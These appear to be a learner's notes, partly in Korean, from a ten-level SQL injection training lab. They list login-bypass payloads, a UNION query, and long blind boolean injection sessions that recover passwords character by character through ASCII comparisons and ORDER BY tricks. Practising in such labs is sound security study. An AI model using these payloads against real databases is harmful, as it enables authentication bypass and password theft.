EDU031

1. SQL : select * from tb_lv1 where id='admin' #' and pw=''

2. SQL : select * from tb_lv2 where id='guest' and pw='' or id='admin'#'

3. SQL : select * from tb_lv3 where id='guest' and seq=-1 or seq=2

4. SQL : select * from tb_lv4 where id='guest' and pw='' || id='admin'#'

5. SQL : select * from tb_lv5 where id='guest' and pw=''or/**/id='admin'#'

6. SQL : select * from tb_lv6 where id='admin'#' and pw=''

7. SQL : select id, pw from tb_lv7 where id like '%a%' union all select pw, pw from tb_lv7 where id like '%a%'

8. a%' and length(pw)>=6#

6보다는 크거나 같다

a%' and length(pw)>7#

7보다 크지 않다.

6글자다

a%' and ascii(substring(pw, 1,1))>70#

a%' and ascii(substring(pw, 1,1))>51# false

a%' and ascii(substring(pw, 1,1))>=50# ok

a%' and ascii(substring(pw, 1,1))>=51# ok

a%' and ascii(substring(pw, 2,1))>50# ok

a%' and ascii(substring(pw, 2,1))>60# ok

a%' and ascii(substring(pw, 2,1))>70# ok

a%' and ascii(substring(pw, 2,1))>80# ok

a%' and ascii(substring(pw, 2,1))>90# ok

a%' and ascii(substring(pw, 2,1))>100# ok

a%' and ascii(substring(pw, 2,1))>110# ok

a%' and ascii(substring(pw, 2,1))>120# false

a%' and ascii(substring(pw, 2,1))>115# false

a%' and ascii(substring(pw, 2,1))>113# false

a%' and ascii(substring(pw, 2,1))>111# ok

a%' and ascii(substring(pw, 2,1))>=112# ok

a%' and ascii(substring(pw, 3,1))>100# false

a%' and ascii(substring(pw, 3,1))>50# ok

a%' and ascii(substring(pw, 3,1))>75# false

a%' and ascii(substring(pw, 3,1))>60# false

a%' and ascii(substring(pw, 3,1))>55# ok

a%' and ascii(substring(pw, 3,1))>57# false

a%' and ascii(substring(pw, 3,1))>56# ok

a%' and ascii(substring(pw, 3,1))>=57# ok

a%' and ascii(substring(pw, 4,1))>100# ok

a%' and ascii(substring(pw, 4,1))>150# false

a%' and ascii(substring(pw, 4,1))>125# false

a%' and ascii(substring(pw, 4,1))>110# ok

a%' and ascii(substring(pw, 4,1))>120# false

a%' and ascii(substring(pw, 4,1))>115# ok

a%' and ascii(substring(pw, 4,1))>118# ok

a%' and ascii(substring(pw, 4,1))>119# false

a%' and ascii(substring(pw, 4,1))>=119# ok

a%' and ascii(substring(pw, 5,1))>100# false

a%' and ascii(substring(pw, 5,1))>50# false

a%' and ascii(substring(pw, 5,1))>0# ok

a%' and ascii(substring(pw, 5,1))>25# ok

a%' and ascii(substring(pw, 5,1))>40# ok

a%' and ascii(substring(pw, 5,1))>45# ok

a%' and ascii(substring(pw, 5,1))>48# ok

a%' and ascii(substring(pw, 5,1))>=49#

a%' and ascii(substring(pw, 5,1))>49# false

a%' and ascii(substring(pw, 6,1))>0# ok

a%' and ascii(substring(pw, 6,1))>110# false

a%' and ascii(substring(pw, 6,1))>55# ok

a%' and ascii(substring(pw, 6,1))>75# ok

a%' and ascii(substring(pw, 6,1))>90# ok

a%' and ascii(substring(pw, 6,1))>100# false

a%' and ascii(substring(pw, 6,1))>95# ok

a%' and ascii(substring(pw, 6,1))>98# ok

a%' and ascii(substring(pw, 6,1))>99#

a%' and ascii(substring(pw, 6,1))>=100#

51 112 57 119 49 100

3 p 9 w 1 d

9. a%' and ascii(mid(pw,3,1))>110# ok

a%' and ascii(mid(pw,3,1))>120# false

a%' and ascii(mid(pw,3,1))>117# ok

a%' and ascii(mid(pw,3,1))>118# ok

a%' and ascii(mid(pw,3,1))>119# false

3) 119

a%' and ascii(mid(pw,4,1))>50# false

a%' and ascii(mid(pw,4,1))>25# ok

a%' and ascii(mid(pw,4,1))>37# ok

a%' and ascii(mid(pw,4,1))>44# ok

a%' and ascii(mid(pw,4,1))>48# false

a%' and ascii(mid(pw,4,1))>46# ok

a%' and ascii(mid(pw,4,1))>47# ok

4) 48

a%' and ascii(mid(pw,5,1))>50# ok

a%' and ascii(mid(pw,5,1))>100# ok

a%' and ascii(mid(pw,5,1))>150# false

a%' and ascii(mid(pw,5,1))>125# false

a%' and ascii(mid(pw,5,1))>137# false

a%' and ascii(mid(pw,5,1))>115# false

a%' and ascii(mid(pw,5,1))>107# ok

a%' and ascii(mid(pw,5,1))>111# ok

a%' and ascii(mid(pw,5,1))>113# ok

a%' and ascii(mid(pw,5,1))>114# false

5) 114

a%' and ascii(mid(pw,6,1))>50# ok

a%' and ascii(mid(pw,6,1))>100# false

a%' and ascii(mid(pw,6,1))>75# ok

a%' and ascii(mid(pw,6,1))>86# ok

a%' and ascii(mid(pw,6,1))>93# ok

a%' and ascii(mid(pw,6,1))>96# ok

a%' and ascii(mid(pw,6,1))>98# ok

a%' and ascii(mid(pw,6,1))>99# ok

6) 100

1: 112(p) 2: 50(2) 3:119(w) 4: 48(0) 5: 114(r) 6: 100(d)

10. **select id, pw from tb_lv10 order by id ='admin' and length(pw)>= 8 DESC**

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,1,1))>0 DESC

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,2,1))>0 DESC

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,3,1))>0 DESC

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,4,1))>0 DESC

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,5,1))>0 DESC

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,6,1))>0 DESC

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,7,1))>0 DESC

까지는 admin, guest

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,8,1))>0 DESC

부터 guest, admin

패스워드 문자열은 7 글자인듯

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,1,1))>50 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,1,1))>100 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,1,1))>150 DESC false

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,1,1))>125 DESC false

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,1,1))>110 DESC false

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,1,1))>105 DESC false

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,1,1))>102 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,1,1))>103 DESC false

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,1,1))>=103 DESC ok

1) 103

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,2,1))>50 DESC false

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,2,1))>25 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,2,1))>32 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,2,1))>41 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,2,1))>45 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,2,1))>47 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,2,1))>49 DESC false

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,2,1))>=49 DESC false

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,2,1))>=48 DESC ok

2) 48

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,3,1))>50 DESC false

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,3,1))>25 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,3,1))>36 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,3,1))>43 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,3,1))>47 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,3,1))>49 DESC false

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,3,1))>48 DESC false

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,3,1))>=48 DESC ok

3) 48

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,4,1))>50 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,4,1))>100 DESC false

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,4,1))>75 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,4,1))>87 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,4,1))>93 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,4,1))>96 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,4,1))>98 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,4,1))>99 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,4,1))>=99 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,4,1))>=100 DESC ok

4) 100

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,5,1))>50 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,5,1))>100 DESC false

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,5,1))>75 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,5,1))>84 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,5,1))>92 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,5,1))>96 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,5,1))>98 DESC false

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,5,1))>97 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,5,1))>=98 DESC ok

5) 98

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,6,1))>50 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,6,1))>100 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,6,1))>150 DESC false

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,6,1))>125 DESC false

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,6,1))>112 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,6,1))>119 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,6,1))>122 DESC false

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,6,1))>120 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,6,1))>121 DESC false

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,6,1))>=121 DESC ok

6) 121

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,7,1))>0 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,7,1))>50 DESC false

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,7,1))>25 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,7,1))>37 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,7,1))>42 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,7,1))>46 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,7,1))>48 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,7,1))>49 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,7,1))>=49 DESC ok

select id, pw from tb_lv10 order by id ='admin' and ascii(mid(pw,7,1))>=50 DESC ok

7) 50

1) 103(g) 2)48(0) 3)48(0) 4)100(d) 5)98(b) 6)121(y) 7)50(2)